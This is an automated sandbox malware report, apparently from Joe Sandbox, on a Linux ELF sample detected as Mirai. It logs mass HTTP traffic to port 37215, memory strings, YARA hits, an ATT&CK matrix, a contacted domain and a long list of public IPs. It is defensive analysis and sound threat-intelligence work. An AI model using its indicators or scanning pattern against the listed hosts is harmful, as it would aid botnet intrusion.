Source: unknown	Network traffic detected: HTTP traffic on port 39174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53310 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56248 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37522 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55116 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60574 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45332 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44664 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54580 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56106 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50330 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37006 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54122 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47930 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36816 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42716 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54688 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53550 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34428 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58664 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54662 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34410 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42078 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36272 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54490 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36670 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51898 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50358 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42864 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36978 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56126 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54122 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57322 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47346 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39410 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45814 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47494 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51792 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57490 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47458 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58724 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57618 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41726 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33642 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33104 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38194 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44464 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51618 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44114 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56442 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54578 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32864 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60710 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58988 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59510 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34248 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58746 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53216 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35786 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56054 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49648 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51960 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39106 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48578 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36070 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51556 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49514 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40698 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44522 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33018 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47628 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37788 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49514 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47272 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35122 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38684 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54046 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50400 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36146 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42972 -> 37215

Source: /tmp/aXyM30sV1V.elf (PID: 5490)

Queries kernel information via 'uname':

Jump to behavior

Source: aXyM30sV1V.elf, 5490.1.000055f5296e6000.000055f529796000.rw-.sdmp	Binary or memory string: !/etc/qemu-binfmt/ppc11!hotpluggableq
Source: aXyM30sV1V.elf, 5492.1.000055f5296e6000.000055f529796000.rw-.sdmp, aXyM30sV1V.elf, 5496.1.000055f5296e6000.000055f529796000.rw-.sdmp	Binary or memory string: !/etc/qemu-binfmt/ppc1
Source: aXyM30sV1V.elf, 5490.1.000055f5296e6000.000055f529796000.rw-.sdmp, aXyM30sV1V.elf, 5492.1.000055f5296e6000.000055f529796000.rw-.sdmp, aXyM30sV1V.elf, 5496.1.000055f5296e6000.000055f529796000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/ppc
Source: aXyM30sV1V.elf, 5490.1.00007ffe9a2d1000.00007ffe9a2f2000.rw-.sdmp, aXyM30sV1V.elf, 5492.1.00007ffe9a2d1000.00007ffe9a2f2000.rw-.sdmp, aXyM30sV1V.elf, 5496.1.00007ffe9a2d1000.00007ffe9a2f2000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-ppc
Source: aXyM30sV1V.elf, 5490.1.00007ffe9a2d1000.00007ffe9a2f2000.rw-.sdmp, aXyM30sV1V.elf, 5492.1.00007ffe9a2d1000.00007ffe9a2f2000.rw-.sdmp, aXyM30sV1V.elf, 5496.1.00007ffe9a2d1000.00007ffe9a2f2000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-ppc/tmp/aXyM30sV1V.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/aXyM30sV1V.elf

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: aXyM30sV1V.elf, type: SAMPLE
Source: Yara match	File source: 5492.1.00007ff918001000.00007ff918014000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5496.1.00007ff918001000.00007ff918014000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5490.1.00007ff918001000.00007ff918014000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: aXyM30sV1V.elf PID: 5490, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: aXyM30sV1V.elf PID: 5492, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: aXyM30sV1V.elf PID: 5496, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: aXyM30sV1V.elf, type: SAMPLE
Source: Yara match	File source: 5492.1.00007ff918001000.00007ff918014000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5496.1.00007ff918001000.00007ff918014000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5490.1.00007ff918001000.00007ff918014000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: aXyM30sV1V.elf PID: 5490, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: aXyM30sV1V.elf PID: 5492, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: aXyM30sV1V.elf PID: 5496, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	11 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
aXyM30sV1V.elf	66%	ReversingLabs	Linux.Trojan.Mirai
aXyM30sV1V.elf	100%	Avira	EXP/ELF.Gafgyt.Z.A

Source	Detection	Scanner	Label	Link
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/envelope/	0%	URL Reputation	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
counterstrike2-cheats.com	45.137.198.211	true	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	aXyM30sV1V.elf	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	aXyM30sV1V.elf	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
156.229.218.214	unknown	Seychelles	139086	ONL-HKOCEANNETWORKLIMITEDHK	false
41.157.30.62	unknown	South Africa	37168	CELL-CZA	false
177.56.39.254	unknown	Brazil	22085	ClaroSABR	false
156.55.40.94	unknown	United States	22146	LANDAMUS	false
156.103.145.205	unknown	United States	393504	XNSTGCA	false
156.141.254.114	unknown	United States	29975	VODACOM-ZA	false
156.250.110.106	unknown	Seychelles	133201	COMING-ASABCDEGROUPCOMPANYLIMITEDHK	false
197.60.132.53	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.67.121.133	unknown	South Africa	16637	MTNNS-ASZA	true
197.105.204.220	unknown	South Africa	37168	CELL-CZA	false
197.205.151.131	unknown	Algeria	36947	ALGTEL-ASDZ	true
156.73.167.200	unknown	United States	2024	NUUS	false
197.205.151.130	unknown	Algeria	36947	ALGTEL-ASDZ	false
197.164.175.138	unknown	Egypt	24863	LINKdotNET-ASEG	false
65.119.45.166	unknown	United States	1742	HARVARD-UNIVUS	false
197.131.99.208	unknown	Morocco	6713	IAM-ASMA	false
44.221.119.222	unknown	United States	14618	AMAZON-AESUS	false
41.244.86.121	unknown	Cameroon	37620	VIETTEL-CM-ASCM	false
41.236.237.235	unknown	Egypt	8452	TE-ASTE-ASEG	false
194.241.160.152	unknown	Finland	719	ELISA-ASHelsinkiFinlandEU	false
41.226.118.81	unknown	Tunisia	37705	TOPNETTN	false
178.150.12.195	unknown	Ukraine	13188	TRIOLANUA	false
197.57.40.26	unknown	Egypt	8452	TE-ASTE-ASEG	false
145.233.24.24	unknown	United Kingdom	3549	LVLT-3549US	false
175.32.99.123	unknown	Australia	4804	MPX-ASMicroplexPTYLTDAU	false
121.228.207.18	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
197.4.212.226	unknown	Tunisia	5438	ATI-TN	false
92.55.252.164	unknown	Poland	42739	FONE-ASNPL	false
156.183.30.47	unknown	Egypt	36992	ETISALAT-MISREG	false
200.255.254.183	unknown	Brazil	4230	CLAROSABR	false
156.83.202.24	unknown	Netherlands	1103	SURFNET-NLSURFnetTheNetherlandsNL	false
42.23.160.41	unknown	Korea Republic of	9644	SKTELECOM-NET-ASSKTelecomKR	false
4.229.73.186	unknown	United States	3356	LEVEL3US	false
41.239.218.22	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.7.97.32	unknown	United States	29975	VODACOM-ZA	false
222.77.41.143	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
176.77.35.51	unknown	Russian Federation	12714	TI-ASMoscowRussiaRU	false
197.172.190.117	unknown	South Africa	37168	CELL-CZA	false
156.76.248.214	unknown	United States	6341	WIECUS	false
41.5.41.211	unknown	South Africa	29975	VODACOM-ZA	false
156.211.246.194	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.164.24.143	unknown	South Africa	36937	Neotel-ASZA	false
197.89.73.96	unknown	South Africa	10474	OPTINETZA	false
41.6.232.101	unknown	South Africa	29975	VODACOM-ZA	false
197.159.153.78	unknown	Madagascar	37037	ORANGEMG-ASMG	false
197.172.190.102	unknown	South Africa	37168	CELL-CZA	true
82.184.39.166	unknown	Italy	3269	ASN-IBSNAZIT	false
65.11.58.70	unknown	United States	16509	AMAZON-02US	false
195.10.99.223	unknown	United Kingdom	13122	MANX-ASMANX-TELECOMAutonomousSystemGB	false
197.2.36.214	unknown	Tunisia	37705	TOPNETTN	false
205.119.121.151	unknown	United States	210	WEST-NET-WESTUS	false
161.214.246.180	unknown	United States	23496	CAMBIAHEALTHUS	false
197.251.97.126	unknown	Sudan	37197	SUDRENSD	false
197.220.118.235	unknown	Kenya	15399	WANANCHI-KE	false
156.63.101.68	unknown	United States	19902	NET-STATE-OHIOUS	false
197.252.76.108	unknown	Sudan	15706	SudatelSD	false
169.0.101.161	unknown	South Africa	37611	AfrihostZA	false
41.143.104.70	unknown	Morocco	36903	MT-MPLSMA	false
197.158.15.170	unknown	Mozambique	30619	TDM-ASMZ	false
41.38.222.218	unknown	Egypt	8452	TE-ASTE-ASEG	false
101.80.28.218	unknown	China	4812	CHINANET-SH-APChinaTelecomGroupCN	false
197.222.169.212	unknown	Egypt	37069	MOBINILEG	false
41.69.75.114	unknown	Egypt	24835	RAYA-ASEG	false
27.243.190.33	unknown	Taiwan; Republic of China (ROC)	9674	FET-TWFarEastToneTelecommunicationCoLtdTW	false
197.4.29.89	unknown	Tunisia	5438	ATI-TN	false
197.182.224.120	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
60.135.228.234	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
156.134.83.35	unknown	United States	12217	UPSUS	false
69.117.93.14	unknown	United States	6128	CABLE-NET-1US	false
156.149.192.254	unknown	New Zealand	137	ASGARRConsortiumGARREU	false
41.203.64.82	unknown	Nigeria	37148	globacom-asNG	false
156.122.63.82	unknown	United States	393504	XNSTGCA	false
197.187.29.173	unknown	Tanzania United Republic of	37133	airtel-tz-asTZ	false
118.198.139.2	unknown	China	4808	CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	false
121.239.35.66	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
197.189.47.33	unknown	Congo The Democratic Republic of The	37598	EbaleCD	false
197.70.138.231	unknown	South Africa	16637	MTNNS-ASZA	false
163.73.188.100	unknown	France	17816	CHINA169-GZChinaUnicomIPnetworkChina169Guangdongprovi	false
156.241.153.156	unknown	Seychelles	137443	ANCHGLOBAL-AS-APAnchnetAsiaLimitedHK	false
136.34.135.149	unknown	United States	16591	GOOGLE-FIBERUS	false
41.30.254.89	unknown	South Africa	29975	VODACOM-ZA	false
197.129.147.239	unknown	Morocco	6713	IAM-ASMA	false
111.154.45.181	unknown	China	9394	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
41.23.243.185	unknown	South Africa	29975	VODACOM-ZA	false
48.177.110.216	unknown	United States	2686	ATGS-MMD-ASUS	false
197.143.201.85	unknown	Algeria	36891	ICOSNET-ASDZ	false
197.4.224.63	unknown	Tunisia	5438	ATI-TN	false
41.56.231.141	unknown	South Africa	33762	rainZA	false
197.16.212.89	unknown	Tunisia	37693	TUNISIANATN	false
197.254.168.38	unknown	Lesotho	37057	VODACOM-LESOTHOLS	false
41.167.147.134	unknown	South Africa	36937	Neotel-ASZA	false
89.169.156.73	unknown	Russian Federation	31514	INF-NET-ASRU	false
197.67.121.110	unknown	South Africa	16637	MTNNS-ASZA	false
41.117.250.92	unknown	South Africa	16637	MTNNS-ASZA	false
197.151.67.187	unknown	Egypt	37069	MOBINILEG	false
156.184.134.85	unknown	Egypt	36992	ETISALAT-MISREG	true
4.226.238.85	unknown	United States	3356	LEVEL3US	false
156.69.212.191	unknown	New Zealand	297	AS297US	false
156.130.0.47	unknown	United States	29975	VODACOM-ZA	false
197.109.110.85	unknown	South Africa	37168	CELL-CZA	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
156.250.110.106	skid.arm7-20231012-0350.elf	Get hash	malicious	Mirai	Browse
	SecuriteInfo.com.Linux.Siggen.9999.17396.25244.elf	Get hash	malicious	Mirai	Browse
	bok.x86-20230315-2115.elf	Get hash	malicious	Mirai	Browse
	qlBLpJzk7k	Get hash	malicious	Mirai	Browse
41.157.30.62	dHuB1HsvsT.elf	Get hash	malicious	Mirai	Browse
	D39gRlWWZ5	Get hash	malicious	Unknown	Browse
	XdnP5cl1ut	Get hash	malicious	Mirai	Browse
	bAz9RWh6bW	Get hash	malicious	Mirai	Browse
	m5vMDP64fy	Get hash	malicious	Mirai	Browse
	ztMhpDNO29	Get hash	malicious	Mirai	Browse
197.60.132.53	x86_64.elf	Get hash	malicious	Mirai	Browse
	AIreW57ZMM.elf	Get hash	malicious	Mirai	Browse
	ahsok.x86	Get hash	malicious	Mirai	Browse
197.67.121.133	NHAZ9jvqo9.elf	Get hash	malicious	Mirai, Moobot	Browse
197.105.204.220	95.214.27.186-x86-2024-07-07T07_12_12.elf	Get hash	malicious	Mirai	Browse
	3LqyRhuLwv.elf	Get hash	malicious	Mirai	Browse
